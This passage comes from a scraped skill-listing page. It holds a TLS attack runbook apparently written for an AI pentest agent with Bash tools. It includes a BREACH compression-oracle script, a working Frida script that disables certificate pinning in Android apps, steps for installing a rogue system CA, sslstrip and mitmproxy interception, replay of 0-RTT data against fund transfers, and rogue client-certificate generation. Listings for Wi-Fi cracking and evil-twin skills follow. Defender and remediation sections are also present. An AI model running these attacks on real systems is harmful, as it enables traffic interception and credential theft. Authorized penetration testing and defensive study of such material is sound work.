fingerprint to verify TLS 1.0 negotiation.\n\n---\n\n## CRIME and BREACH\n\n**CRIME (CVE-2012-4929)** exploits TLS-level compression. When TLS compression is enabled, an attacker who can inject chosen plaintext into a request and observe the compressed ciphertext length can recover secret values (such as session cookies) one byte at a time.\n\n```bash\n# Check for TLS compression\ntestssl.sh --crime target.com:443\nopenssl s_client -connect target.com:443 | grep -i compression\n# \"Compression: NONE\" means not vulnerable to CRIME\n```\n\n**BREACH** exploits HTTP-level compression (gzip\u002Fdeflate) and is far more prevalent than CRIME because HTTP compression is almost universally enabled. The attack recovers secrets that appear in HTTP response bodies alongside attacker-reflected input.\n\n```bash\n# Check for BREACH preconditions\ntestssl.sh --breach target.com:443\n\n# Manual check: verify HTTP compression is enabled\ncurl -sI -H \"Accept-Encoding: gzip, deflate\" https:\u002F\u002Ftarget.com\u002F | \\\n  grep -i content-encoding\n# \"Content-Encoding: gzip\" combined with reflected input + secrets in body = vulnerable\n```\n\n```python\nimport requests\nimport string\n\ndef breach_probe(url, known_prefix, charset=string.ascii_letters + string.digits):\n    \"\"\"\n    BREACH oracle: measure compressed response length to recover secrets.\n    Requires: HTTP compression enabled, secret in response body,\n    attacker can inject chosen text that is reflected in the same response.\n    \"\"\"\n    results = {}\n    for c in charset:\n        candidate = known_prefix + c\n        # Inject candidate via a reflected parameter\n        resp = requests.get(url, params={\"search\": candidate},\n                          headers={\"Accept-Encoding\": \"gzip\"})\n        # The response object's content is decompressed; use raw socket\n        # or measure the actual wire bytes for a real attack.\n        # Here we demonstrate the concept:\n        results[c] = len(resp.content)\n\n    # The correct byte compresses better (shorter response)\n    best = min(results, key=results.get)\n    return known_prefix + best\n\n# BREACH mitigations: disable HTTP compression for pages containing secrets,\n# add random padding to responses, use per-request CSRF tokens,\n# separate secret-bearing responses from reflected-input responses\n```\n\n---\n\n## Heartbleed (CVE-2014-0160)\n\nHeartbleed is a buffer over-read in OpenSSL's TLS heartbeat extension (OpenSSL 1.0.1 through 1.0.1f). A malformed heartbeat request causes the server to return up to 64KB of process memory per request, potentially exposing private keys, session cookies, credentials, and other sensitive data.\n\n```bash\n# Test for Heartbleed\ntestssl.sh --heartbleed target.com:443\nsslyze --heartbleed target.com\n\n# Nmap script\nnmap -p 443 --script ssl-heartbleed target.com\n\n# Manual test with OpenSSL\n# This requires a version of OpenSSL that supports the heartbeat extension\nopenssl s_client -connect target.com:443 -tlsextdebug 2>&1 | \\\n  grep -i heartbeat\n```\n\nThe attack sends a TLS heartbeat request declaring a large payload length (up to 16384 bytes) but including only a single byte of actual payload. Vulnerable OpenSSL versions return the declared length from process memory. Each request leaks up to 64KB; repeated requests may expose private keys, session tokens, and credentials from different memory regions. Use the Nmap script or testssl.sh for reliable detection; for manual exploitation, existing PoC scripts (heartbleed.py variants) handle the raw TLS handshake and heartbeat framing.\n\n---\n\n## Certificate Validation Bypass\n\nApplications that fail to properly validate TLS certificates create interception opportunities. Common flaws include disabled verification, missing hostname checks, accepting self-signed certificates, and incomplete chain validation.\n\n```python\n# Detect applications with disabled certificate verification\n# These patterns indicate vulnerable implementations:\n\n# Python requests - disabled verification\n# requests.get(url, verify=False)\n\n# Python urllib3 - disabled warnings indicate suppressed verification\n# urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# Node.js - disabled TLS rejection\n# process.env.NODE_TLS_REJECT_UNAUTHORIZED = \"0\"\n\n# Java - TrustAllCerts pattern\n# TrustManager[] trustAllCerts = new TrustManager[] {\n#     new X509TrustManager() {\n#         public void checkClientTrusted(...) {}\n#         public void checkServerTrusted(...) {}\n#     }\n# };\n\n# cURL - insecure flag\n# curl -k \u002F curl --insecure\n```\n\nSearch for these patterns in source code and configuration files during assessments:\n\n```bash\n# Search for disabled certificate verification in codebases\ngrep -rn \"verify=False\" --include=\"*.py\" .\ngrep -rn \"CERT_NONE\" --include=\"*.py\" .\ngrep -rn \"NODE_TLS_REJECT_UNAUTHORIZED\" --include=\"*.js\" .\ngrep -rn \"InsecureTrustManagerFactory\" --include=\"*.java\" .\ngrep -rn \"TrustAllCerts\\|trustAllCerts\\|ALLOW_ALL\" --include=\"*.java\" .\ngrep -rn \"AllowAllHostnameVerifier\\|NoopHostnameVerifier\" --include=\"*.java\" .\ngrep -rn \"ServerCertificateValidationCallback\" --include=\"*.cs\" .\ngrep -rn \"InsecureSkipVerify.*true\" --include=\"*.go\" .\n```\n\n---\n\n## Certificate Pinning Bypass\n\nMobile applications that implement certificate pinning require active bypass techniques for traffic interception. Use Frida and Objection for runtime instrumentation.\n\n```bash\n# Objection: automated pinning bypass for Android and iOS\n# Launch the target application with Objection\nobjection -g com.target.app explore\n\n# Inside the Objection REPL:\n# Disable SSL pinning (covers common pinning libraries)\nandroid sslpinning disable\n# or for iOS:\nios sslpinning disable\n```\n\n```bash\n# Frida: custom pinning bypass scripts\n\n# Android: bypass OkHttp CertificatePinner\nfrida -U -f com.target.app -l bypass_pinning.js --no-pause\n\n# Universal Android SSL pinning bypass with Frida\nfrida -U -f com.target.app --codeshare pcipolloni\u002Funiversal-android-ssl-pinning-bypass-with-frida\n```\n\n```javascript\n\u002F\u002F bypass_pinning.js - Frida script for Android SSL pinning bypass\n\u002F\u002F Covers OkHttp, TrustManager, WebView, and common pinning libraries\n\nJava.perform(function() {\n    \u002F\u002F Bypass OkHttp3 CertificatePinner\n    try {\n        var CertificatePinner = Java.use('okhttp3.CertificatePinner');\n        CertificatePinner.check.overload('java.lang.String', 'java.util.List')\n            .implementation = function(hostname, peerCertificates) {\n            console.log('[+] OkHttp3 CertificatePinner bypassed for: ' + hostname);\n            return;\n        };\n    } catch (e) {\n        console.log('[-] OkHttp3 not found');\n    }\n\n    \u002F\u002F Bypass custom TrustManager\n    try {\n        var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');\n        var SSLContext = Java.use('javax.net.ssl.SSLContext');\n\n        var TrustManager = Java.registerClass({\n            name: 'com.bypass.TrustManager',\n            implements: [X509TrustManager],\n            methods: {\n                checkClientTrusted: function(chain, authType) {},\n                checkServerTrusted: function(chain, authType) {},\n                getAcceptedIssuers: function() { return []; }\n            }\n        });\n\n        var TrustManagers = [TrustManager.$new()];\n        var sslContext = SSLContext.getInstance('TLS');\n        sslContext.init(null, TrustManagers, null);\n        console.log('[+] Custom TrustManager installed');\n    } catch (e) {\n        console.log('[-] TrustManager bypass failed: ' + e);\n    }\n\n    \u002F\u002F Bypass Android WebView SSL errors\n    try {\n        var WebViewClient = Java.use('android.webkit.WebViewClient');\n        WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {\n            console.log('[+] WebView SSL error bypassed');\n            handler.proceed();\n        };\n    } catch (e) {\n        console.log('[-] WebViewClient bypass not applicable');\n    }\n});\n```\n\n```bash\n# For rooted Android devices: install a system CA certificate\n# Convert your proxy CA to Android format\nopenssl x509 -inform PEM -subject_hash_old -in proxy_ca.pem | head -1\n# Rename to \u003Chash>.0\ncp proxy_ca.pem 9a5ba575.0\nadb push 9a5ba575.0 \u002Fsystem\u002Fetc\u002Fsecurity\u002Fcacerts\u002F\nadb shell chmod 644 \u002Fsystem\u002Fetc\u002Fsecurity\u002Fcacerts\u002F9a5ba575.0\n```\n\n---\n\n## HSTS Bypass and TLS Stripping\n\nHSTS prevents downgrade from HTTPS to HTTP, but it has inherent bootstrap and scope weaknesses.\n\n```bash\n# Check HSTS configuration\ncurl -sI https:\u002F\u002Ftarget.com | grep -i strict-transport-security\n\n# Verify HSTS preload status\n# Check https:\u002F\u002Fhstspreload.org\u002F?domain=target.com\n\n# sslstrip2 (Leonardo Nve's HSTS bypass) works by:\n# 1. Stripping HTTPS links on first visit (before HSTS is cached)\n# 2. Replacing domains with similar subdomains not covered by HSTS\n# 3. Proxying the real HTTPS connection on the attacker side\n\n# mitmproxy with sslstrip mode\nmitmproxy --mode transparent --ssl-insecure --set block_global=false\n```\n\nHSTS bypass vectors:\n- **First visit**: HSTS is trust-on-first-use. If the user has never visited the site and the site is not on the preload list, the initial HTTP request can be intercepted.\n- **Subdomain scope**: `includeSubDomains` is often missing. Attack via `http:\u002F\u002Fsub.target.com` even if `target.com` has HSTS.\n- **NTP manipulation**: HSTS entries expire. If you can manipulate the client's clock (via NTP spoofing on the local network), cached HSTS policies can be aged out.\n- **Private browsing**: Some browsers do not persist HSTS across private browsing sessions.\n\n---\n\n## TLS 1.3 -- 0-RTT Replay\n\nTLS 1.3 eliminates most legacy attacks but introduces 0-RTT (Early Data) which is explicitly not replay-protected. Servers that accept 0-RTT data for non-idempotent operations are vulnerable to replay attacks.\n\n```bash\n# Check if the server accepts 0-RTT early data\nopenssl s_client -connect target.com:443 -tls1_3 -sess_out session.pem\nopenssl s_client -connect target.com:443 -tls1_3 -sess_in session.pem \\\n  -early_data request.txt\n\n# testssl.sh checks for 0-RTT\ntestssl.sh --grease target.com:443\n```\n\nThe two-step openssl test above is definitive: if the second connection succeeds and the server processes the early data file, 0-RTT is accepted. A network attacker who captures the ClientHello and early data from a legitimate connection can replay it verbatim. Target non-idempotent endpoints -- fund transfers, account modifications, order submissions -- where replay has material impact. Servers should implement anti-replay per RFC 8446 Section 8 or reject 0-RTT entirely for state-changing operations.\n\n---\n\n## mTLS Attacks\n\nMutual TLS authentication presents additional attack surfaces around client certificate handling.\n\n```bash\n# Enumerate mTLS requirements\nopenssl s_client -connect target.com:443 2>&1 | grep -A5 \"Acceptable client\"\n\n# Test with a stolen or self-signed client certificate\nopenssl s_client -connect target.com:443 \\\n  -cert client.pem -key client.key -CAfile ca.pem\n\n# Generate a rogue client certificate matching the expected CN\u002FOU\nopenssl req -x509 -newkey rsa:2048 -keyout rogue.key -out rogue.pem \\\n  -days 365 -nodes \\\n  -subj \"\u002FCN=legitimate-service\u002FO=Target Corp\u002FOU=Engineering\"\n\n# Check if the server validates the issuing CA or just the certificate fields\nopenssl s_client -connect target.com:443 -cert rogue.pem -key rogue.key\n```\n\nAttack vectors against mTLS:\n- **Missing CA validation**: Server accepts any client certificate regardless of issuer.\n- **Overly broad CA trust**: Server trusts a CA that also issues certificates to unrelated parties.\n- **Client certificate theft**: Extract client certificates from keystores, environment variables, CI\u002FCD pipelines, or container images.\n- **Certificate relay**: Forward client certificate challenges to a legitimate client and relay responses.\n\n---\n\n## Certificate Transparency Monitoring\n\nCT logs are a reconnaissance goldmine. Every publicly trusted certificate is logged, revealing subdomains, internal hostnames, and infrastructure changes.\n\n```bash\n# Query CT logs via crt.sh\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%25.target.com&output=json\" | \\\n  python3 -c \"\nimport json, sys\ndata = json.load(sys.stdin)\ndomains = set()\nfor entry in data:\n    name = entry.get('name_value', '')\n    for d in name.split('\\n'):\n        domains.add(d.strip())\nfor d in sorted(domains):\n    print(d)\n\"\n\n# Monitor for new certificates in real-time\n# Use certstream for live CT log monitoring\npip install certstream\n\n# certstream_monitor.py\npython3 -c \"\nimport certstream\n\ndef callback(message, context):\n    if message['message_type'] == 'certificate_update':\n        all_domains = message['data']['leaf_cert']['all_domains']\n        for domain in all_domains:\n            if 'target.com' in domain:\n                print(f'New cert: {domain}')\n\ncertstream.listen_for_events(callback, url='wss:\u002F\u002Fcertstream.calidog.io\u002F')\n\"\n```\n\n```bash\n# Enumerate subdomains from CT logs using subfinder or amass\nsubfinder -d target.com -sources crtsh\namass enum -d target.com -src -ip\n```\n\n---\n\n## Detection \u002F Defender View\n\nDefenders should monitor for the following indicators of TLS attacks:\n\n- **Downgrade probes**: Connections attempting SSLv2, SSLv3, or TLS 1.0 from modern client fingerprints. A client advertising a modern TLS stack but then falling back to SSLv3 is suspicious. Log and alert on protocol version mismatches between ClientHello capabilities and the negotiated version.\n- **Heartbleed scanning**: Heartbeat requests with a declared payload length larger than the actual payload. IDS signatures exist for the malformed heartbeat pattern. Monitor for repeated heartbeat requests from the same source.\n- **Compression oracle probing**: Rapid sequences of requests with incrementally varying parameters to the same endpoint, combined with precise response size measurement. This pattern indicates BREACH or CRIME exploitation attempts.\n- **Certificate pinning bypass**: On mobile backends, monitor for connections from known application builds that present unexpected TLS client fingerprints (JA3\u002FJA4 hashes) -- this indicates an instrumented runtime.\n- **0-RTT replay**: Monitor application logs for duplicated non-idempotent operations. Implement server-side replay caches (anti-replay mechanisms per RFC 8446 Section 8) and reject 0-RTT data for state-changing operations.\n- **CT monitoring**: Defenders should proactively monitor CT logs for unauthorized certificates issued for their domains. This detects both compromised CAs and domain validation attacks.\n\nRemediation priorities: disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1 entirely; remove all export, NULL, RC4, DES, and 3DES cipher suites; deploy HSTS with `includeSubDomains` and `preload`; disable TLS compression; use TLS 1.3 as the preferred protocol; reject 0-RTT early data for non-idempotent endpoints; implement certificate pinning with backup pins and reporting; enable OCSP stapling.\n\n---\n\n## Engagement Cheatsheet\n\n| Vulnerability          | Tool \u002F Check                  | Indicator                                      |\n|------------------------|-------------------------------|------------------------------------------------|\n| POODLE (SSLv3)         | testssl.sh --poodle           | SSLv3 with CBC ciphers accepted                |\n| DROWN (SSLv2)          | testssl.sh --drown            | SSLv2 support or shared RSA key with SSLv2 host|\n| FREAK (export ciphers) | testssl.sh --freak            | RSA_EXPORT cipher suites accepted              |\n| BEAST (TLS 1.0 CBC)    | testssl.sh --beast            | TLS 1.0 with CBC cipher negotiated             |\n| CRIME                  | testssl.sh --crime            | TLS-level compression enabled                  |\n| BREACH                 | Content-Encoding: gzip + reflection | HTTP compression + secret + reflected input |\n| Heartbleed             | testssl.sh --heartbleed       | OpenSSL 1.0.1 to 1.0.1f with heartbeat ext    |\n| Cert validation        | grep -rn verify=False         | Disabled verification in source code           |\n| Cert pinning (mobile)  | objection \u002F Frida             | Pin bypass allows proxy interception           |\n| HSTS missing           | curl -sI + header check       | No Strict-Transport-Security header            |\n| 0-RTT replay           | openssl s_client -early_data  | Server accepts and processes early data         |\n| mTLS weakness          | openssl s_client -cert        | Server accepts rogue client certificates       |\n\nProtocol version risk summary:\n- SSLv2: catastrophically broken (DROWN). Must be disabled everywhere.\n- SSLv3: broken (POODLE). Must be disabled everywhere.\n- TLS 1.0: weak (BEAST, deprecated by RFC 8996). Disable.\n- TLS 1.1: no known protocol attacks but deprecated by RFC 8996. Disable.\n- TLS 1.2: secure with correct cipher suite selection (AEAD ciphers only).\n- TLS 1.3: secure. Watch 0-RTT replay for non-idempotent operations.\n\n---\n\n## Key References\n\n- Moller, B. et al. \"This POODLE Bites: Exploiting the SSL 3.0 Fallback.\" Google Security Advisory, 2014.\n- Aviram, N. et al. \"DROWN: Breaking TLS using SSLv2.\" USENIX Security 2016.\n- Beurdouche, B. et al. \"A Messy State of the Union: Taming the Composite State Machines of TLS.\" IEEE S&P 2015.\n- Duong, T. and Rizzo, J. \"Here Come the XOR Ninjas.\" (BEAST) Ekoparty 2011.\n- Rizzo, J. and Duong, T. \"The CRIME Attack.\" Ekoparty 2012.\n- Gluck, Y. et al. \"BREACH: Reviving the CRIME Attack.\" Black Hat USA 2013.\n- CVE-2014-0160: OpenSSL Heartbleed. https:\u002F\u002Fheartbleed.com\n- RFC 8446: The Transport Layer Security (TLS) Protocol Version 1.3, Section 8 (0-RTT and Anti-Replay).\n- RFC 8996: Deprecating TLS 1.0 and TLS 1.1.\n- CWE-295: Improper Certificate Validation.\n- CWE-319: Cleartext Transmission of Sensitive Information.\n- CWE-757: Selection of Less-Secure Algorithm During Negotiation.\n- testssl.sh: https:\u002F\u002Ftestssl.sh\n- sslyze: https:\u002F\u002Fgithub.com\u002Fnabla-c0d3\u002Fsslyze\n- Frida: https:\u002F\u002Ffrida.re\n- Objection: https:\u002F\u002Fgithub.com\u002Fsensepost\u002Fobjection\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"runtime_note":28},"web-exploitation","tls ssl poodle drown freak beast crime breach heartbleed certificate pinning bypass HSTS 0-rtt replay mtls certificate transparency testssl sslyze sslscan tlsx","T1557, T1040","Manual runbook — testssl.sh, sslyze, sslscan, openssl available in Kali sandbox. tlsx and certstream may need install. No MCP adapter for TLS scanning; run via bash tool.","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Ftls-attacks","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill tls-attacks",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill tls-attacks",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill tls-attacks","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Ftls-attacks\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]